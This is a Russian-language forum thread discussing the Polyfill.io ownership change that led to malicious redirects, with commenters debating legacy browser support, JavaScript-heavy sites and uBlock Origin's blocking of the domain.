54. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (57), 26-Июн-24, 03:49 
Уж больно редко в вёрстке есть нужное людям.

Для бизнеса - часто. Но чужой бизнес не волнует от слова совсем и нужен ооочень редко.

А полезные и нужные вещи просты в любом браузере.

Ответить | Правка | Наверх | Cообщить модератору

179. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (179), 26-Июн-24, 16:45 
Ограничь себя CSS2 и радуйся. Ну или пиши бесплатный конвертер с открытым кодом. Мы будем все тебе ныть. Может потом продашь китайцам.
Ответить | Правка | К родителю #39 | Наверх | Cообщить модератору

63. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +5 +/
Сообщение от Аноним (63), 26-Июн-24, 06:39 
Поддержка-то недорогая, там в консервативном фронтэнде стек технологии короче и стабильнее, всегда бы так.

Но заказчик будет хотеть пимпочки и рюшечки, которые в bleeding edge версиях браузеров только начали поддерживаться, и чаще всего в каком-то одном. Либо (наиболее вероятно) фронтдев хочет модно-молодёжно "быстрая разработка - медленный рантайм" что-нибудь, потому что лень или некогда.

Ответить | Правка | К родителю #36 | Наверх | Cообщить модератору

106. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от нах. (?), 26-Июн-24, 12:22 
> Но заказчик будет хотеть пимпочки и рюшечки, которые в bleeding edge версиях браузеров только
> начали поддерживаться

заказчик на самом деле не будет этого хотеть - он не читал release notes и понятия не имеет что еще там стало сегодня с обеда поддерживаться.

более того, вся суть полифила была в том что он таки поддерживал новые фичи, отсутствующие в не совсем модном браузере. Т.е. если бы заказчик на самом деле этого хотел - запилить в немодном несовременном стеке было бы можно (правда, с тормозами). Но он не хочет это оплачивать.

Максимум чего хочет заказчик - это "шоб сайт не хуже чем у пацанов!"

Ответить | Правка | Наверх | Cообщить модератору

142. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (33), 26-Июн-24, 14:01 
> Максимум чего хочет заказчик - это "шоб сайт не хуже чем у пацанов!"

Это те де6ильные SPA? Нет уж, спасибо... Лучше старая добрая статика, чем этот маразм.

Ответить | Правка | Наверх | Cообщить модератору

174. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от нах. (?), 26-Июн-24, 16:08 
>> Максимум чего хочет заказчик - это "шоб сайт не хуже чем у пацанов!"
> Это те де6ильные SPA?

Мне кажется, заказчик и ЭТОГО тоже не заказывал. В смысле, не имел в виду именно эту фичу как "не худшую чем у пацана", и прекрасно бы обошелся без нее. Просто яа-у-мамы-дизигнер так видит.

> Нет уж, спасибо... Лучше старая добрая статика, чем этот маразм.

SPA вполне бывают динамическими. Лучше от этого, естественно, никому не становится.


Ответить | Правка | Наверх | Cообщить модератору

180. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (179), 26-Июн-24, 16:50 
Расскажи это свидетелям и пользователям фэйсбука и инстаграмма. И как правило это требование архитектора, если про уровень предприятия.
Ответить | Правка | К родителю #106 | Наверх | Cообщить модератору

190. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от нах. (?), 26-Июн-24, 17:19 
> Расскажи это свидетелям и пользователям фэйсбука и инстаграмма.

пейсбук и хипстаграм довольно таки всеядны к браузерам. Ну за исключением любимого тут всеми ешака6. (втентакль куда более дое6ист - возможно там тоже полифил) При том что если завтра они вообще в любом браузере перестанут открываться - никто даже особо и не заметит. Во-первых в РФ уже. Во-вторых таки не заметили. Потому что... правильно - потому что они уже давно телефонные приложеньица, и редкие извращенцы открывающие десктопные версии - не аудитория.

> И как правило это требование архитектора, если про уровень предприятия.

ну мы все понимаем ведь, каковы эти архитекторы уровня свечных заводиков?

Ответить | Правка | Наверх | Cообщить модератору

139. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (33), 26-Июн-24, 13:58 
Да ну как "дорогая"... если сайт написан один раз и надёжно, что тут может быть "дорогого"? (кроме специалиста, который может проф. верстать без жабоскриптов)
Раньше как-то ВЕСЬ веб обходился без JS - и ничего, ВСЁ работало! И меню, и форумы, и электронные магазины... как они так умудрялись, имея только HTML 3 и CGI? :)
Ответить | Правка | К родителю #36 | Наверх | Cообщить модератору

175. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от нах. (?), 26-Июн-24, 16:16 
> И меню, и форумы, и электронные магазины... как они так умудрялись,

ну...э... как-то оно конечно работало, но я не очень хочу туда в такое светлое прошлое

> имея только HTML 3 и CGI? :)

masterbank.ru образца 2008го года - "введите номер счета в это поле... да-да, ручками все стопиццотцифирок, старайтесь не ошибаться, а то заново будете все поля (их не одно!) заполнять" (ведь проверить допустимость ввода на ходу Cgi нам не позволит - все как у дидов, только по нажатию submit)

masterbank.ru образца 2009го года - "ну ладно, для ваших СОБСТВЕННЫХ аж трех счетов - нажмите вот сюда" (новая страница, не фрейм или что еще, где можно галочкой выбрать один из трех и вернуться к преды...нет, к новой где это поле уже заполнено и его нельзя редактировать. Спасибо, а то на старой версии их посмотреть было негде - надо открывать во втором окне другую страницу где есть эти номерки)

ну как-то так себе удобства, если честно. Причем ты, понятно, не захочешь ТАК реализованной страницы с выбором переводов каким-то организациям и простыней на двадцать экранов без автопоиска и автофильтров. И двадцать раз кликать по ссылкам на иерархическую (которую еще кто-то должен придумать за тебя и сделать чтоб ты нашел искомое а не заблудился и вынужден был начинать с самого верха) тоже не хочешь.

Но да, отрисовывалось такое - мгновенно. Даже не на коре дуба а на селероне 486. И даже то что до отрисовки целиком загружалось с сервера - было абсолютно ненапряжно.

Ответить | Правка | Наверх | Cообщить модератору

187. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –2 +/
Сообщение от Аноним (179), 26-Июн-24, 17:10 
> masterbank.ru образца 2008го года - "введите номер счета в это поле... да-да, ручками все стопиццотцифирок, старайтесь не ошибаться, а то заново будете все поля (их не одно!) заполнять" (ведь проверить допустимость ввода на ходу Cgi нам не позволит - все как у дидов, только по нажатию submit)

На сегодняшний день сложно обеспечить безопастность без JS если речь идёт о банке. В таком случае придётся красными буквами писать что это не очень безопасно и подключать как-то это отдельно. Есть несколько типов атак, от которых такой банк не будет защищен, которые мне сразу приходят в голову. Я не буду вам рассказывать конкретно об этих атаках по понятным причинам.

Ответить | Правка | Наверх | Cообщить модератору

188. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (179), 26-Июн-24, 17:14 
Впрочем и средства противодействия тоже начали приходить в голову.
Ответить | Правка | Наверх | Cообщить модератору

220. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от фф (?), 27-Июн-24, 11:23 
так то  никто не запрещал cgi при ошибке "неправильно заподнено поле" заполнять поля уже введенными данными, чтоб не пришлось всё заново делать.
Тут жаваскрипт не нужен. Но да, на каждое действие надо перегружать страницу, целиком.
Ответить | Правка | К родителю #175 | Наверх | Cообщить модератору

221. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от нах. (?), 27-Июн-24, 11:39 
да, но это тебе ДВА раза на потрахаться - один - проверить валидность, а второй - отдельно отличать перезагрузку такой формы от случая "юзер открыл ее в первый раз".

А программист скотина ленивая и пока ее не пнут - не программировает.

Год вон ушел на то чтоб свои же счета можно было выбрать из списка а не копипастить из соседнего окошка вручную.

Ответить | Правка | Наверх | Cообщить модератору

222. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от фф (?), 27-Июн-24, 11:48 
не надо различать - заполняем все что пришло в нужных полях в запросе. Первый раз это будут пустые значения, потом - то что пользователь вводил.
Ответить | Правка | Наверх | Cообщить модератору

181. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (179), 26-Июн-24, 16:53 
Ты ещё флеш вспомни и ActiveX.
Ответить | Правка | К родителю #139 | Наверх | Cообщить модератору

183. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (179), 26-Июн-24, 16:53 
...Macromedia Flash
Ответить | Правка | Наверх | Cообщить модератору

203. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –2 +/
Сообщение от Аноним (206), 26-Июн-24, 19:57 
> Ты ещё флеш вспомни и ActiveX.

И чертовы Java апплеты.

Как послушать старпёров, так веб раньше вообще конфеткой был. Хорошо, что такого веба больше нет...

Ответить | Правка | К родителю #181 | Наверх | Cообщить модератору

56. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от noc101 (ok), 26-Июн-24, 03:50 
Зачем поддерживать старые сайты. Обычно это Ослики виндовые. которых уже ноль целый хрен десятых осталось на рынке.
Ответить | Правка | К родителю #32 | Наверх | Cообщить модератору

65. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от Аноним (65), 26-Июн-24, 07:03 
Чтобы я с Windows XP и MyPal (идеально если с Internet explorer 6) мог ими пользоваться. Да и большинству паутинных страничек достаточно  CSS 2 и HTML 4 и можно без CSS. JavaScript тоже не нужен. WWW это текст и картинки а HTML средство разметки текста если кто забыл. Смысла в том что, например странички с сайта банка перестают работать из–за того что браузер не может отрисовать серые прямоугольники вместо грузящегося текста никакого.
Ответить | Правка | Наверх | Cообщить модератору

77. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (74), 26-Июн-24, 09:22 
> Чтобы я с Windows XP и MyPal (идеально если с Internet explorer 6) мог ими пользоваться.

Видишь ли, писать с поддержкой IE - это время и деньги (как минимум на то, чтобы тестировать в IE). А они не окупятся десятком неплатежеспособных пользователей.

То есть если у тебя нет денег на новую ось и железо, то почему бизнес должен это оплачивать?

Ответить | Правка | Наверх | Cообщить модератору

146. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –1 +/
Сообщение от Аноним (33), 26-Июн-24, 14:07 
Ты переоцениваешь "тестирование в IE" :) Более того - если сайт свёрстан под HTML 3, тебе вообще почти ничего не придётся "тестировать", т.к. выглядеть всё будет почти одинаково! Тупо в силу того, что ыт использовал ПРОСТЫЕ ТЕГИ, а не замороченный JS.
Ответить | Правка | Наверх | Cообщить модератору

153. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от noc101 (ok), 26-Июн-24, 14:15 
> Ты переоцениваешь "тестирование в IE" :) Более того - если сайт свёрстан
> под HTML 3, тебе вообще почти ничего не придётся "тестировать", т.к.
> выглядеть всё будет почти одинаково! Тупо в силу того, что ыт
> использовал ПРОСТЫЕ ТЕГИ, а не замороченный JS.

Между версией HTML и использованием JS нет прямой связи.
JS и до HTML5 активно использовался. И по правде говоря, HTML5 как раз уменьшает использование JS, а вот HTML3 как раз увеличивает.
Был бы в теме, понимал это.

Ответить | Правка | Наверх | Cообщить модератору

233. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (233), 28-Июн-24, 07:22 
Я надеюсь на некий здравый смысл уберегающий от бесконечного раздувания и накручивания свистелок вместе с перделками а также постоянного переделывания всего в соответсвии с новыми возможностями в браузирах. Ещё мне кажется что где–то там существует сотрудник у которого на душе становится теплее от осознания того что люди пользующиеся его HTML страничками могут делать это из Internet explorer 6. А по поводу денег, то они и так их сжигаю оплачивая работу кучи вэбщиков со знанием всяких фреймворков.
Ответить | Правка | К родителю #77 | Наверх | Cообщить модератору

150. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (33), 26-Июн-24, 14:11 
> странички с сайта банка перестают работать из–за того что браузер не может отрисовать серые прямоугольники

+1000000000!!! Именно! Второстепенные перделки, которые мне вообще не упали, внезапно блокируют мне САМОЕ ГЛАВНОЕ, ради чего я зашёл на сайт!!

Ответить | Правка | К родителю #65 | Наверх | Cообщить модератору

145. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (33), 26-Июн-24, 14:05 
Дело не в осликах, а в технологиях. Ты ПЕРЕГРУЖАЕШЬ ненужной хренью как сервер, так и клиента, так и самого программиста! Накой тебе 5 мегабайт скриптов для простой формы фидбэка?!!?!?!!? Там всего один тег [form] ! Это уже не говоря про апдейт этой хрени - простой HTML 3 можно курочить не приходя в сознание. А с жабоскриптами и тоннами CSS ты просто всё развалишь.
Ответить | Правка | К родителю #56 | Наверх | Cообщить модератору

193. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (193), 26-Июн-24, 17:57 
Ну это вы просто ничего сложнее сайтиков на вордпрессах-джумлах не делали. Попробуйте сделать аналог GMail или Google Docs, так, чтобы было не менее юзабельно, чем на десктопе, и не тормозило так, как оно тормозит у Гугла :) Сразу все новые фичи браузеров окажутся далеко не бесполезными.

А когда для банального контентного сайтика тащат весь современный стек, я и сам удивляюсь, конечно.

Ответить | Правка | К родителю #32 | Наверх | Cообщить модератору

210. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (210), 27-Июн-24, 02:37 
А каждому веб-сайту нужна сложность уровня офисного пакета? Такие являются исключением из большинства.

З.Ы: Лучше просто установить MS Office 97, чем юзать гугл доки.

Ответить | Правка | Наверх | Cообщить модератору

232. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (233), 28-Июн-24, 07:11 
Пусть лучше вэбщики мучаются. Работа у них такая. Да и существовали же как–то наовороченный gmail и прочее в каком–то там году когда фич было не так много.
Ответить | Правка | К родителю #193 | Наверх | Cообщить модератору

38. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (36), 26-Июн-24, 02:42 
И ещё по теме - полифиллы этой библиотеки не всегда работали. Помню как-то вместе с react встретил проблему с полифилами.
Ответить | Правка | Наверх | Cообщить модератору

69. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +5 +/
Сообщение от Tron is Whistling (?), 26-Июн-24, 08:28 
Любители тащить в рот лефтпады из первого попавшегося источника снова на острие, да что ж ты будешь делать-то. Ну и их пользователи, само собой, верная ЦА.
Ответить | Правка | Наверх | Cообщить модератору

78. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от crypt (ok), 26-Июн-24, 09:26 
интересно, окупилась покупка или нет. такую активность быстро палят, какой смысл.
Ответить | Правка | Наверх | Cообщить модератору

83. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Соль земли (?), 26-Июн-24, 09:50 
Всмысле проект продан? Он чего-то стоил сам по себе? Уже подозрительно.
Ответить | Правка | Наверх | Cообщить модератору

94. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от нах. (?), 26-Июн-24, 11:22 
конечно стоил. Когда ты свой код будешь (прям со своего сервера загружающийся на ходу) исполнять на миллионах клиентских браузеров - то тоже сможешь продаться китайцам подорого.

Причем совершенно неважно, нужен кому этот код на самом деле или нет.

Ответить | Правка | Наверх | Cообщить модератору

91. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от awoland (ok), 26-Июн-24, 11:03 
Такого же вроде бы никогда-никогда не было? И вот вдруг опять...
Ответить | Правка | Наверх | Cообщить модератору

97. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +5 +/
Сообщение от timur.davletshin (ok), 26-Июн-24, 11:29 
Ublock Origin уже заблокировал его в списке Badware Risks.
Ответить | Правка | Наверх | Cообщить модератору

100. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –5 +/
Сообщение от нах. (?), 26-Июн-24, 11:43 
теперь все сайты, использующие полифилы, просто не работают. Отличное решение, на пять баллов.

Ответить | Правка | Наверх | Cообщить модератору

110. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +2 +/
Сообщение от Аноним (74), 26-Июн-24, 12:39 
> теперь все сайты, использующие полифилы, просто не работают. Отличное решение, на пять баллов.

Думаешь, лучше было оставить "вредоносный код, перенаправляющий пользователя на мошеннические сайты (например, googie-anaiytics.com), букмекерские конторы и online-казино"?

Ответить | Правка | Наверх | Cообщить модератору

111. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от _kp (ok), 26-Июн-24, 12:43 
Вряд ли не работают. Скриптом больше, скриптом меньше..

>>Отличное решение, на пять баллов.

Так того самого скрипта на сервере уже и так нет, а есть совсем другой, зараженный, хоть с тем же именем.
У Вас есть идеи как лучше практически сертифицированными на зловредность скриптами поступать? :)

Ответить | Правка | К родителю #100 | Наверх | Cообщить модератору

122. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от нах. (?), 26-Июн-24, 13:27 
> Вряд ли не работают. Скриптом больше, скриптом меньше..

если сайт использует полифил - не работает. Пустое белое ничего.
Даже любимых всеми овальчиков полупрозрачных нечем отрисовать.
И пользователю сообщить в чем проблема - тоже некуда. Был бы сам сайт в списке вредных - ублок бы справился, но это не сайт а скрипт с сайта. Такое он не умеет.

> Так того самого скрипта на сервере уже и так нет, а есть
> совсем другой, зараженный, хоть с тем же именем.

он хотя бы сайт отрисует. Ну, не без рекламы онлайн-казино (в чем собственно разница- скрипт это делает или сам владелец сайта решил озолотиться еще и таким образом? так и так если тебе сайт кровь из носу нужен - будешь чертыхаясь закрывать окошки онлайн казлин пока не получишь нужный результат, а нет - внесешь тот сайт в свой умственный список заблокированных и больше туда не пойдешь)

> У Вас есть идеи как лучше практически сертифицированными на зловредность скриптами поступать?

ну путь децетралайза теоретически проходим. Не уверен что у ублока при этом хватит встроенных средств.

Ответить | Правка | Наверх | Cообщить модератору

113. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от fuggy (ok), 26-Июн-24, 13:05 
Нахвататься вирусни правильное решение? Или ты один из владельцев казино-выгодополучателей.

Современным браузерам не нужны полифилы и без них всё работает.

Ответить | Правка | К родителю #100 | Наверх | Cообщить модератору

118. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  –2 +/
Сообщение от Аноним (74), 26-Июн-24, 13:15 
> Или ты один из владельцев казино-выгодополучателей.

Нет, он один из местных юродивых, которые везде встяют со своим альтернативным мнением.

Ответить | Правка | Наверх | Cообщить модератору

123. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от нах. (?), 26-Июн-24, 13:28 
> Современным браузерам не нужны полифилы и без них всё работает.

на сайте изначально написанном для найтли билда твоего браузера - работает.
Если сайт использовал полифилы - нет, не работает.

Ответить | Правка | К родителю #113 | Наверх | Cообщить модератору

170. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от timur.davletshin (ok), 26-Июн-24, 15:51 
> теперь все сайты, использующие полифилы, просто не работают. Отличное решение, на пять
> баллов.

Именно! И ирония тут неуместна.

Ответить | Правка | К родителю #100 | Наверх | Cообщить модератору

184. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (-), 26-Июн-24, 16:59 
>теперь все сайты, использующие полифилы, просто не работают. Отличное решение, на пять баллов.

Мошенников надо выявлять и давить всеми возможными способами. Ты видимо сочувствуешь мошенникам.

Ответить | Правка | К родителю #100 | Наверх | Cообщить модератору

108. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (108), 26-Июн-24, 12:34 
https://blog.danieljanus.pl/2019/10/07/web-of-documents/
Ответить | Правка | Наверх | Cообщить модератору

126. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от нах. (?), 26-Июн-24, 13:34 
> https://blog.danieljanus.pl/2019/10/07/web-of-documents/

а теперь оплати штраф за парковку этим уе6офдокументс.

Ну или с вечера занимай очередь в сберкассу.

Ответить | Правка | Наверх | Cообщить модератору

177. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от fuggy (ok), 26-Июн-24, 16:20 
> Оригинальный разработчик заявил, что никогда не владел доменом polyfill .io

Если это так, то 100000 неграмотных разработчиков не просто добавило лишнюю библиотеку (точку атаки), а добавило библиотеку с левого домена.

Ответить | Правка | Наверх | Cообщить модератору

182. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Аноним (8), 26-Июн-24, 16:53 
Домену столько же лет сколько самой библиотеке: Creation Date: 2013-03-18T19:00:23Z
Напоминает историю с XZ, где разраб говорил что я не я у меня не было доступа кто то там что то закомитил итд итп.
Ответить | Правка | Наверх | Cообщить модератору

192. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (192), 26-Июн-24, 17:52 
>на основе кода из репозитория с форком, созданным изначальным автором проекта
>1. сделать популярную либу
>2. монетизировать через продажу
>3. сделать форк, повторить с ним пункты 1-2
>4. PROFIT!!!!

Автор молодец. Не из тех мамонтов, вроде тех, что на https://xkcd.com/2347/ изображены, а за деньги либу разрабатывает и сопровождает. В немамонтах - пользователи сайтов, использующих эту либу. Владельцы же сайтов - в доле - им бесплатную либу для развития их бизнеса, с них - ресурсы браузеров посетителей их сайтов, отличная сделка.


Ответить | Правка | Наверх | Cообщить модератору

194. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +1 +/
Сообщение от Вы забыли заполнить поле Name (?), 26-Июн-24, 18:29 
За использование таких сервисов (еще до проблемы) нужно премию Дарвина выдавать. Итог предсказуем.
Ответить | Правка | Наверх | Cообщить модератору

227. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (227), 27-Июн-24, 16:56 
В настоящее время для старых браузеров успешно задействуется babel, у которого свой полифил-плагин. Так что, проблемы сабжа не должны сказаться на поддержке старых браузеров.
Ответить | Правка | Наверх | Cообщить модератору

230. "Смена владельца библиотеки Polyfill привела к подстановке вр..."  +/
Сообщение от Аноним (230), 28-Июн-24, 00:03 
Не понимаю зачем поддерживать старый хлам? А про альтернативно одаренных тут правильно говорили, тащат весь стек там где это на фиг не надо
Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру